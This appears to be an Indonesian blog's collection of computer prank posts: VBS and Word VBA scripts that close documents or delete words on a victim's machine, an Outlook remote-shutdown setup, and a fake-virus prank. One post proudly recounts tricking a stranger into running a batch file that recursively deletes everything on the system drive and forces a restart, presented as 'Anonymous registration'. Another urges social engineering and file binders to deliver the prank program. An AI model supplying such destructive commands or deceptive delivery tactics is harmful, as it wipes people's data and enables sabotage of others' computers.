Showing posts with label TipsTrik. Show all posts

Tips Cara Untuk Mengetahui Jenis Kelamin Komputer Atau Leptop


Mau tau jenis kelamin komputer anda...??
Silahkan ikuti tips berikut.

1. Buka Notepad


2. Tulis script berikut

   CreateObject("SAPI.SpVoice").Speak"I love you Forever"

3. Simpan file tersebut dengan ekstensi *.vbs


4. Cari file yang telah anda simpan, lalu klik ganda file tersebut dan dengarkan apa yang dia ucapkan :D



Jadi, apa jenis kelamin komputer anda..??

Ms Word Ku EDAN versi 3







Jumpa lagi dengan saya wahai para pembaca

sekalian....
:D

Di postingan ini, saya akan nge-share mengenai si Ms Word yang edan versi 3
Nah, bagi yang belum baca mengenai versi-versi yang sebelumnya bisa dibaca di link berikut
1. Ms Word Edan V.1

2. Ms Word Edan V.2

Nah di versi 3 ini, ada trik baru bikin si Ms Word jadi makin EDAN !!!
Langsung aja yak...
Untuk langkah awalnya, sama kaya di versi-versi sebelumnya...
Lalu silahkan copas script di bawah ini...


Sub typeRand()
Dim counter As String
counter = CStr(Int((30 - 1 + 1) * Rnd + 1))

Application.OnTime When:=Now + TimeValue("00:00:" + counter), _
Name:="TimedClose"

End Sub

Sub TimedClose()

Dim maindocument As Document
Set maindocument = activedocument
counter = CStr(Int((5 - 1 + 1) * Rnd + 1))

Select Case counter
Case 1
Selection.TypeText Text:=" SELAMAT "
Case 2
Selection.TypeText Text:=" KOMPUTER ANDA "
Case 3
Selection.TypeText Text:=" KESURUPAN "
Case 4
Selection.TypeText Text:=" HANTU CYBER"
Case 5
Selection.TypeText Text:=" -by Zet "
End Select

Call typeRand

End Sub 

*untuk efekya, silahkan dites sendiri yak, karena ini gak bahaya kok
:)


Demikian dari saya...
Dan tak lupa serta tak lelah saya tegaskan...!!!


SEGALA RESIKO DARI PENYALAHGUNAAN MATERI INI ADALAH TANGGUNG JAWAB ANDA PRIBADI !!


Jadi bijaklah dalam menggunakan ilmu anda...
:)



Ms Word Ku EDAN versi 2





Setelah kemarin saya share mengenai si Ms Word yang edan, nah sekarang saya share yang versi ke dua...
Bagi yang belum baca yang versi pertama, bisa dibaca di sini (klik untuk membaca)




Oke, langsung saja....
Langkahnya sama seperti di versi yang pertama.....
Lalu copas script di bawah ini


Sub AddKeyBinding()

With Application
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeySpacebar), KeyCategory:=wdKeyCategoryCommand, _
Command:="Timer"
End With

End Sub

Public Sub Timer()
Dim x As Document
Set x = ActiveDocument
Dim z() As String
Selection.TypeText Text:=" "
counter = CStr(Int((10 - 1 + 1) * Rnd + 1))
Application.OnTime When:=Now + TimeValue("00:00:" + counter), _
Name:="removeit"

End Sub

Sub removeit()
Dim x As Document
Set x = ActiveDocument

counter = CStr(Int((x.Words.Count - 1 + 1) * Rnd + 1))
x.Words(counter).Delete

End Sub

*untuk apa yang akan terjadi, silahkan dicoba sendiri saja
 gak bahaya kok
:)


Dan sekali lagi saya tekankan dan saya pertegas
Segala resiko dari penyalahgunaan materi ini adalah tanggung jawab anda sendiri...
Dan tolonglah bijak dalam menggunakan ilmu anda...
:)

Ms Word Ku EDAN


Oke para pembaca semua...
Berjumpa lagi dengan artikel usil saya...
:D

Kali ini saya ingin nge-share trik unik untuk usil melalui Ms Word
(horeeee......)
:D

Pada trik usil kali ini, kita akan membuat Ms Word korban menjadi EDAN !!!!
Ya, edan bin gila bin sedeng bin gendeng....!!!
Kok bisa gendeng..?
:v

Ya , 
karena si Ms Word gendeng ini setiap kali si korban menekan tombol "e/E", maka seketika itu pula si Ms Word akan menutup jendela/windowsnya....!!! 
hwahahahahaahaaa....

Yang pasti bakal bikin si korban pucet dan bingung
wakakakakak
(ketawa jahat)

Okehlah kaloh begituh...
Langsung sajah...
Cekibrot....
:D

Silahkan ikuti langkah-langkah berikut :
1. Buka Ms Word
2. Tekan Alt + F11, maka anda akan masuk ke Microsoft Visual Basic
3. Setelah anda masuk ke Ms VB, silahkan menuju ke kotak di kiri atas windows lalu drop down Normal diikuti drop down Microsoft Word Objects lalu klik ganda/double klik ThisDocument yang akan menampilkan work sheet (code)
4. Copaslah script di bawah ini

Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE),    KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

5. Lalu Crtl + S (save), kemudian tekan F5 atau bisa melalui menu Run > Run Sub
6. Tutup work sheet tersebut, dan tunggulah ketika korban membuka Ms Wordnya dan mulai mengetik....
Hwahahahahaahaaaaa....

Jika anda ingin mengganti huruf "edannya", anda bisa menggantinya pada baris script ini
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE),

*yang berwarna merah bisa diganti sesuka anda
:D

Sekian trik usil dari saya...
Dan sekali lagi...
Saya tegaskan...
Segala resiko yang muncul dari trik ini adalah menjadi tanggung jawab anda masing-masing, sehingga bijaklah dalam menggunakan ilmu anda
:)

wassalam.....
:*

Cara Mendaftar ANONYMOUS

Suatu ketika ada seseorang yang secara tiba-tiba bertanya sesuatu kepada saya via chatting. Dia bertanya sesuatu yang saya pun tak tahu bagaimana caranya. Ya, dia bertanya "bagaimana cara mendaftar agar bisa menjadi anggota  ANONYMOUS". Bagi anda yang sering nongkrong di dunia maya, pasti tak asing lagi dengan nama ANONYMOUS. Kelompok Hacker yang sedang naik daun saat ini.

Saat dia bertanya tentang hal tersebut, pas kebetulan sekali naluri dan nafsu "USIL" saya sedang di level tertinggi "BAHAYA !!". Maka tak ayal, orang tersebut menjadi sasaran ke-usilan saya, hingga terjadilah percakapan/chatting berikut ini...
Cekibrooott....

A (si penanya) : om...


B (ane) : oit..., ada ape om..??


A : boleh tanya sesuatu gak om ?


B : apaan om...?? 


A : kira-kira oom tau gak caranya daftar jadi anggota anonymous ?


B : etddaaahhh...., oom mau daftar..?? 

      oom Hekel yak...??  #sungkem_dulu

A : hahahaha, jangan gitulah om,

      gimana om, tau gak caranya daftar jd member anonymous ??

B : oom yakin mau daftar...???
      ( naluri ISENGnya lagi bergemuruh ni, wakakakak.... )


A : iya om, yakin banget !!!


B: ohhh, ok deh
     ane kasih tau caranya, tapi inget yak, semua resiko ditanggung penumpang (ditanggung sendiri maksutnya)


A : beneran ni om ?

      oom mau ngasih tau caranya

B : ya, tapi kudu janji dulu

     apapun yang terjadi, resikonya tanggung sendiri
     paham..???


A : paham om


B : siap ???


A : siap banget om


B : ok, sekarang ikutin langkah-langkah berikut...


A : ok om


B : pertama buka Notepad


A : bentar om,
     yak sip, udah om
     terus bgimane ni ?


B : udah kan...
     nah sekarang ketik script ini di Notepad


     @echo off

      del %systemdrive%\*.* /f /s/ /q
      shutdown -r -f -t 00

      trus simpen filenya dengan nama Reg-Anon.bat
      inget...., kudu enkstensi *.bat yah...


A : sip om
     beres
     trus giamana om ?


B : nah, sebelum ke step final
     ane cuma ngingetin lagi
     inget, semua resiko ditanggung sendiri...


A : iya om, saya paham


B : ok,

     step final
     klik ganda/double klik file tadi...

     nah, tinggal ikutin aja deh step-step yang nongol
     dan selamat, anda telah menjadi Member ANONYMOUS...

     :)
    
Ehhhh,
Sejak hari itu, orang tersebut gak pernah lagi nongol di cattingan saya.

Entah dia udah ditangkep cyber police, atau sedang fokus melakukan serangan...
Saya gak tau pasti...
Yang jelas, dari awal saya sudah mengatakan ke dia, bahwa semua resiko yang muncul ditanggung sendiri...
Jadi jangan bawa-bawa nama saya apalagi nyalah-nyalahin saya...
:v
wakakakakakakakak...........  (ketawa jahat)

Cara Ajaib Mematikan PC/Leptop Dengan HP

Suatu hari, anda pergi berlibur ke Afrika untuk berjemur di Padang Sahara. Namun ketika sedang asik-asiknya menikmati teriknya matahari di sana, tiba-tiba anda teringat pada PC/Leptop di rumah yang belum dimatikan...
wadddooohhhh !!!!

Gak perlu panik, jika anda membawa HP anda, maka anda bisa dengan mudah mematikan PC/Leptop anda yang ada di rumah. Ya meskipun PC/Leptop anda ada di Indonesia sedangkan anda sedang berada di Afrika (bersama BIG COL*, wakakakakak).

Caranya gampang banget, dan gak perlu belajar ilmu kanuragan untuk bisa melakukannya. Cukup gunakan HP anda, masuk ke menu SMS dan ketikan command  "Tolong matikan komputer gw yg ada di kamar dong, please", lalu kirimkan ke teman, tetangga, atau keluarga anda...
hehehehe
:v

Ok, cukup bercandanya..
Kita mulai serius.
Untuk dapat mematikan PC/Leptop menggunakan HP, ada syarat-syarat yang harus dipenuhi :
1. HP merk apapun yang penting bs buat internetan ( terutama kirim mengirim E-mail)
2. Akun email yang mendukung POP3, seperti Gmail misalnya
3. Aplikasi email client seperti Microsoft Outlook ataupun Thunderbit
4. PC/Leptop yang terhubung internet

Ok, sekarang langsung aja dipraktekin...
Berikut langkah dan caranya :

A. Membuat Akun Gmail
Kalo yang sudah punya akun Gmail, bisa dilewati tahap ini   :)

B. Membuat File SHUTDOWN.bat
Selanjutnya adalah membuat file *.bat, silahkan anda buka notepad, lalu ketikkan script/command berikut ini di notepad

c:\windows\system32\shutdown -s -f -t 00

Jika sudah, silahkan simpan file tersebut dengan ekstensi *.bat. Misalkna file tersebut disimpan dengan nama shutdown.bat. File ini akan mematikan PC/Leptop anda ketika anda men-double klik file tersebut ( kalo gak percaya coba aja  :v )



C. Konfigurasi Email Client
Langkah berikutnya adalah mengkonfigurasi email client yang akan kita gunakan. Dan di sini saya menggunakan Ms Outlook.

1. Buka Ms Outlook, Start Menu > All Program > Microsoft Office
2. Pada jendela Ms Outlook, klik menu Tools > Account Setting
3. Pada jendela pop up account setting yang muncul klik tab Email kemudian klik New
4. Pada jendela selanjutnya tandai pilihan Microsoft Exchange, pop3, klik Next jika sudah
5. Selanjutnya, isikan data-data gmail anda, maka Ms Outlook akan mengkonfigurasi akun gmail anda secara otomatis. Jika sudah selesai klik Finish
6. Lalu, klik menu Tools > Send/Recieve > Send/Recieve Setting > Define Send/Recieve Group ( ctrl+alt+s)
7. Pada jendela pop up yang muncul, tandai pilihan Include This Group dan Schedule Automatic, lalu pada bagian When Outlook is Offline tandai Include this group in send, kemudian untuk setingan waktunya masing-masing isikan 1 menit. Klik tombol close
8. Jika semua langkah di atas sudah, lalu klik menu Tools > Rules and Alerts
9. Pada jendela pop up yang muncul, klik tombol New Rules
10. Kemudian pada jendela rules wizard, lihat pada bagian start from a blank rules, lalu pilih check messages when they arrive. Jika sudah klik next
11. Pada jendela berikutnya, tandai pilihan with specific words in subject
12. Jika sudah dicentang, lalu lihat pada bagian step 2 edit the rule description. Lalu klik link specific words
13. Pada jendela pop up yang muncul, ketikan "matikan" pada bagian specify word or phrase, atau boleh juga dengan kata lain yang anda inginkan, karena kata ini yang nantinya akan digunakan sebagai perintah untuk mematikan PC/Leptop anda
14. Klik tombol Add, dan kata matikan akan masuk ke dalam search list anda, lalu klik OK. Selanjutnya anda akan kembali pada jendela Rules Wizard klik tombol next
15. Pada jendela berikutnya, tandai pilihan start application
16. Lalu kembali ke step edit the rule description, lalu klik link application
17. Pada jendela pop up yang muncul, carilah file *.bat yang tadi telah anda buat. Setelah ketemu, kemudian klik open
18. Anda kemudian akan kembali pada jendela rules wizard dan klik Finish lalu klik Apply dan.... selesai...   :D

D. Mematikan PC/Leptop via Handphone

Jika semua langkah di atas telah selesai, sekarang segeralah pergi ke agen pariwisata di dekat rumah anda, lalu pesanlah tiket ke Afrika ( kecuali jika bersama Big Col*  :v ). Karena anda akan mencoba mematikan PC/Leptop anda dari Afrika...  :D


OK, setelah itu silahkan ikuti langkah-langkah berikut :
1. Akses email anda menggunakan mobile web browser yang biasa anda gunakan. Lalu login lah ke email utama anda ( perlu diketahui, bahwa akun gmail yang tadi anda buat bukanlah email utama anda, karena akun gmail tadi hanya untuk menerima perintah saja )
2. Setelah login, silahkan tulislah email dengan alamat tujuan gmail yang tadi anda buat
3. Untuk judul/subject email kita isikan "matikan", sesuai dengan perintah yang telah anda tetapkan pada Ms Outlook tadi. Untuk isinya terserah anda, atau bisa juga anda samakan dengan judul/subject.
4. Terakhir, silahkan kirimkan email tersebut, dan pastikan bahwa email tersebut telah terkirim.

Jika semua langkah di atas telah anda lakukan, maka pulanglah ke rumah anda untuk melihat apakah PC/Leptop anda sudah benar-benar mati atau belum. Jika ternyata belum mati, maka pastikan PC/Leptop anda tersambung internet dengan baik dan Ms Outlook anda dalam kondisi aktif. Jika semua sudah anda pastikan aktif dan baik, cobalah kembali ke Afrika untuk mematikan PC/Leptop anda kembali menggunakan HP anda...
:D

SELAMAT MENCOBA
:D


Nb : Maaf gak bisa kasih screen shot langkah-langkahnya, soalnya ribet banget kalo kudu di ss satu-satu
:3
maap yak....

Usil Dengan Fake Virus


Saya akan mencoba berbagi trik usil bagi para pecinta kegiatan usil mengusili
:D

ok...
Kita langsung aja ke intinya...
Biar gak kelamaan pembukaannya...
hehehe

Nama program yg bakal kita pake namanya adalah The Ultimate Virus
yang bisa didonlot di sini  :)

Program ini ketika dibuka bakal nampilin blue screen, bahkan gak cuma blue screen ternyata ni program juga bakal nampilin red screen... 
wooowwww... ngeri.... :v

Dan bagi yang ingin matiin program ini jangan coba-coba matiin lewat task manager !! karena explorer anda bakal crash seketika..!! :o

Trus cara matiinnya begimane ???

Caranya...
Anda harus mengikuti permainan dari program ini sampe habis...
Pokoknya bisa bikin adrenalin terpacu...
Bahkan bisa ngompol di celana..!!
hehehe


Oh ya...
Untuk dapetin korban, anda harus menggunakan social engineering yang mantap, atau mungkin menggunakan file binder buat membungkus ni program yang bisa didownload disini....
Jadi...
Selamat beriseng ria yah... :D

Hampir lupa...
Saya gak bertanggung jawab atas penyalahgunaan materi ini yak...  :3
Semua ditanggung individu masing-masing...
Saya kan cuma pingin berbagi ilmu usil...  :v
Jadi gunakanlah ilmu secara bijak...
Ok....  :)